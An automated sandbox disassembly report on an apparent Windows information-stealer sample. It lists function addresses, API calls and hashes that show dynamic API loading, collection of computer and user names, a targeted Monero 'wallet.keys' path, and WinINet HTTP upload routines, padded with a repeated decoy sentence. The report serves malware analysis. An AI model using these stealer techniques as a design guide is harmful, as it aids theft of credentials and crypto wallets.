Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 722c1462f64ebab733a8b652e6815a76d2329ba0ee3d9e49f7c9c31e334d0f80
Instruction ID: 0fec3c8004f8742d7dd9d43a0fb422571a8d4c4f69c04d382e594feaa8c301ce
Opcode Fuzzy Hash: 722c1462f64ebab733a8b652e6815a76d2329ba0ee3d9e49f7c9c31e334d0f80
Instruction Fuzzy Hash: 7AA15AB55042419FE348EFAAFD8996E37F9F7C820170C453AE61DA3264D63998C9CB13

Function 00C345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00C3460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00C3479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C3466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C346B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C345DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C3462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C345F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C346AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C345C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C3474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C345D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C346C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C3473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C3475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C3477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C346CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C3471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C345E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C34765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C346D8

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: eb13b85ba5c52abd038b3cbd3395eb09971132151a52a293c81d63aa79ce3c4f
Instruction ID: 4e42a437e963440ed59526840bc00e574919bb5669f9dfdd565e00df866d714e
Opcode Fuzzy Hash: eb13b85ba5c52abd038b3cbd3395eb09971132151a52a293c81d63aa79ce3c4f
Instruction Fuzzy Hash: 024138687C360C7BCE28FBA4A85ED9D7763FF42716F405868FC009A280CBB0558C5D29

Function 00C34880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C34839
Part of subcall function 00C347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C34849

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00C34915
StrCmpCA.SHLWAPI(?,019DE580), ref: 00C3493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C34ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00C50DDB,00000000,?,?,00000000,?,",00000000,?,019DE4D0), ref: 00C34DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00C34E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00C34E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00C34E49
InternetCloseHandle.WININET(00000000), ref: 00C34EAD
InternetCloseHandle.WININET(00000000), ref: 00C34EC5
HttpOpenRequestA.WININET(00000000,019DE520,?,019DDC28,00000000,00000000,00400100,00000000), ref: 00C34B15

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

InternetCloseHandle.WININET(00000000), ref: 00C34ECF

Strings

------, xrefs: 00C349BD
", xrefs: 00C34D33
", xrefs: 00C34BF2
------, xrefs: 00C34C69
------, xrefs: 00C34B28

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: cd0b9fbbd40b0d4a9df14bb02664bf49e5cab4bfb4a62b20c006c51b682b1dcd
Instruction ID: 422e796f6253694162592d319c489ffa0b60509184ce27af1805af65e2b0661b
Opcode Fuzzy Hash: cd0b9fbbd40b0d4a9df14bb02664bf49e5cab4bfb4a62b20c006c51b682b1dcd
Instruction Fuzzy Hash: D412ED72950218AAEB15EB90DC92FEEB778FF54300F5041A9B50672091EF702F89DF66

Function 00C478E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C47910
RtlAllocateHeap.NTDLL(00000000), ref: 00C47917
GetComputerNameA.KERNEL32(?,00000104), ref: 00C4792F

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: b8fc6050a05ddfacbd39295c479b285427aa6b25cb8e14374cf654fa9169c0ba
Instruction ID: 035164f214b34f763c814380577159b0e81387c7b31a79c211f50a29fc37ad4d
Opcode Fuzzy Hash: b8fc6050a05ddfacbd39295c479b285427aa6b25cb8e14374cf654fa9169c0ba
Instruction Fuzzy Hash: E101A9B1A04204EFD704DF95DD49BAEBBB8F744B11F104269F955F3380D37459448BA2

Function 00C47850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C311B7), ref: 00C47880
RtlAllocateHeap.NTDLL(00000000), ref: 00C47887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C4789F

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: f37ab3fb3fe0f72e29707973ee45bed134290be008c6f19934a9397bdba227d6
Instruction ID: 9ce8ac900d02d2978bb934eb55fb7ecf49834642ff18445beec39de60eefcc94
Opcode Fuzzy Hash: f37ab3fb3fe0f72e29707973ee45bed134290be008c6f19934a9397bdba227d6
Instruction Fuzzy Hash: 9AF04FB1944208AFD714DF99DD4AFAEBBB8FB44711F10026AFA05A2680C77415448BA2

Function 00C31160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00C3116A
ExitProcess.KERNEL32 ref: 00C3117E

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 8bc4f901989d7842a381124e97f74fd39fb83aa62fe1b25d72a373bcce4185ad
Instruction ID: fa1f65954886638f3372c828b1a3f412262ef9978e05604369d9d6423aecacd3
Opcode Fuzzy Hash: 8bc4f901989d7842a381124e97f74fd39fb83aa62fe1b25d72a373bcce4185ad
Instruction Fuzzy Hash: BCD05E7490030CDFCB04DFE1D8496EDBB78FB48312F040565DD0972340EA3054C6CAA6

Function 00C49C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,019C6980), ref: 00C49C2D
GetProcAddress.KERNEL32(75900000,019C69A0), ref: 00C49C45
GetProcAddress.KERNEL32(75900000,019D8E98), ref: 00C49C5E
GetProcAddress.KERNEL32(75900000,019D8C10), ref: 00C49C76
GetProcAddress.KERNEL32(75900000,019DCD80), ref: 00C49C8E
GetProcAddress.KERNEL32(75900000,019DCBE8), ref: 00C49CA7
GetProcAddress.KERNEL32(75900000,019CAFA0), ref: 00C49CBF
GetProcAddress.KERNEL32(75900000,019DCC18), ref: 00C49CD7
GetProcAddress.KERNEL32(75900000,019DCD50), ref: 00C49CF0
GetProcAddress.KERNEL32(75900000,019DCCD8), ref: 00C49D08
GetProcAddress.KERNEL32(75900000,019DCB28), ref: 00C49D20
GetProcAddress.KERNEL32(75900000,019C6780), ref: 00C49D39
GetProcAddress.KERNEL32(75900000,019C69C0), ref: 00C49D51
GetProcAddress.KERNEL32(75900000,019C6700), ref: 00C49D69
GetProcAddress.KERNEL32(75900000,019C6720), ref: 00C49D82
GetProcAddress.KERNEL32(75900000,019DCB58), ref: 00C49D9A
GetProcAddress.KERNEL32(75900000,019DCD38), ref: 00C49DB2
GetProcAddress.KERNEL32(75900000,019CAF28), ref: 00C49DCB
GetProcAddress.KERNEL32(75900000,019C67A0), ref: 00C49DE3
GetProcAddress.KERNEL32(75900000,019DCDC8), ref: 00C49DFB
GetProcAddress.KERNEL32(75900000,019DCDE0), ref: 00C49E14
GetProcAddress.KERNEL32(75900000,019DCD08), ref: 00C49E2C
GetProcAddress.KERNEL32(75900000,019DCDF8), ref: 00C49E44
GetProcAddress.KERNEL32(75900000,019C67C0), ref: 00C49E5D
GetProcAddress.KERNEL32(75900000,019DCD68), ref: 00C49E75
GetProcAddress.KERNEL32(75900000,019DCBD0), ref: 00C49E8D
GetProcAddress.KERNEL32(75900000,019DCCF0), ref: 00C49EA6
GetProcAddress.KERNEL32(75900000,019DCB10), ref: 00C49EBE
GetProcAddress.KERNEL32(75900000,019DCB70), ref: 00C49ED6
GetProcAddress.KERNEL32(75900000,019DCBA0), ref: 00C49EEF
GetProcAddress.KERNEL32(75900000,019DCD98), ref: 00C49F07
GetProcAddress.KERNEL32(75900000,019DCB88), ref: 00C49F1F
GetProcAddress.KERNEL32(75900000,019DCBB8), ref: 00C49F38
GetProcAddress.KERNEL32(75900000,019D9DB8), ref: 00C49F50
GetProcAddress.KERNEL32(75900000,019DCD20), ref: 00C49F68
GetProcAddress.KERNEL32(75900000,019DCB40), ref: 00C49F81
GetProcAddress.KERNEL32(75900000,019C68E0), ref: 00C49F99
GetProcAddress.KERNEL32(75900000,019DCDB0), ref: 00C49FB1
GetProcAddress.KERNEL32(75900000,019C6860), ref: 00C49FCA
GetProcAddress.KERNEL32(75900000,019DCC00), ref: 00C49FE2
GetProcAddress.KERNEL32(75900000,019DCC30), ref: 00C49FFA
GetProcAddress.KERNEL32(75900000,019C62C0), ref: 00C4A013
GetProcAddress.KERNEL32(75900000,019C6580), ref: 00C4A02B
LoadLibraryA.KERNEL32(019DCC48,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A03D
LoadLibraryA.KERNEL32(019DCC60,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A04E
LoadLibraryA.KERNEL32(019DCC78,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A060
LoadLibraryA.KERNEL32(019DCCC0,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A072
LoadLibraryA.KERNEL32(019DCC90,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A083
LoadLibraryA.KERNEL32(019DCCA8,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A095
LoadLibraryA.KERNEL32(019DCE28,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A0A7
LoadLibraryA.KERNEL32(019DCE88,?,00C45CA3,00C50AEB,?,?,?,?,?,?,?,?,?,?,00C50AEA,00C50AE3), ref: 00C4A0B8
GetProcAddress.KERNEL32(75FD0000,019C6400), ref: 00C4A0DA
GetProcAddress.KERNEL32(75FD0000,019DCE10), ref: 00C4A0F2
GetProcAddress.KERNEL32(75FD0000,019D8850), ref: 00C4A10A
GetProcAddress.KERNEL32(75FD0000,019DCF78), ref: 00C4A123
GetProcAddress.KERNEL32(75FD0000,019C6420), ref: 00C4A13B
GetProcAddress.KERNEL32(73B60000,019CB1A8), ref: 00C4A160
GetProcAddress.KERNEL32(73B60000,019C64A0), ref: 00C4A179
GetProcAddress.KERNEL32(73B60000,019CB130), ref: 00C4A191
GetProcAddress.KERNEL32(73B60000,019DCF00), ref: 00C4A1A9
GetProcAddress.KERNEL32(73B60000,019DCE40), ref: 00C4A1C2
GetProcAddress.KERNEL32(73B60000,019C6500), ref: 00C4A1DA
GetProcAddress.KERNEL32(73B60000,019C6640), ref: 00C4A1F2
GetProcAddress.KERNEL32(73B60000,019DCF90), ref: 00C4A20B
GetProcAddress.KERNEL32(763B0000,019C6340), ref: 00C4A22C
GetProcAddress.KERNEL32(763B0000,019C6300), ref: 00C4A244
GetProcAddress.KERNEL32(763B0000,019DCE58), ref: 00C4A25D
GetProcAddress.KERNEL32(763B0000,019DCE70), ref: 00C4A275
GetProcAddress.KERNEL32(763B0000,019C6440), ref: 00C4A28D
GetProcAddress.KERNEL32(750F0000,019CB1D0), ref: 00C4A2B3
GetProcAddress.KERNEL32(750F0000,019CAF50), ref: 00C4A2CB
GetProcAddress.KERNEL32(750F0000,019DCED0), ref: 00C4A2E3
GetProcAddress.KERNEL32(750F0000,019C62E0), ref: 00C4A2FC
GetProcAddress.KERNEL32(750F0000,019C6460), ref: 00C4A314
GetProcAddress.KERNEL32(750F0000,019CB1F8), ref: 00C4A32C
GetProcAddress.KERNEL32(75A50000,019DCEA0), ref: 00C4A352
GetProcAddress.KERNEL32(75A50000,019C65A0), ref: 00C4A36A
GetProcAddress.KERNEL32(75A50000,019D88A0), ref: 00C4A382
GetProcAddress.KERNEL32(75A50000,019DCEB8), ref: 00C4A39B
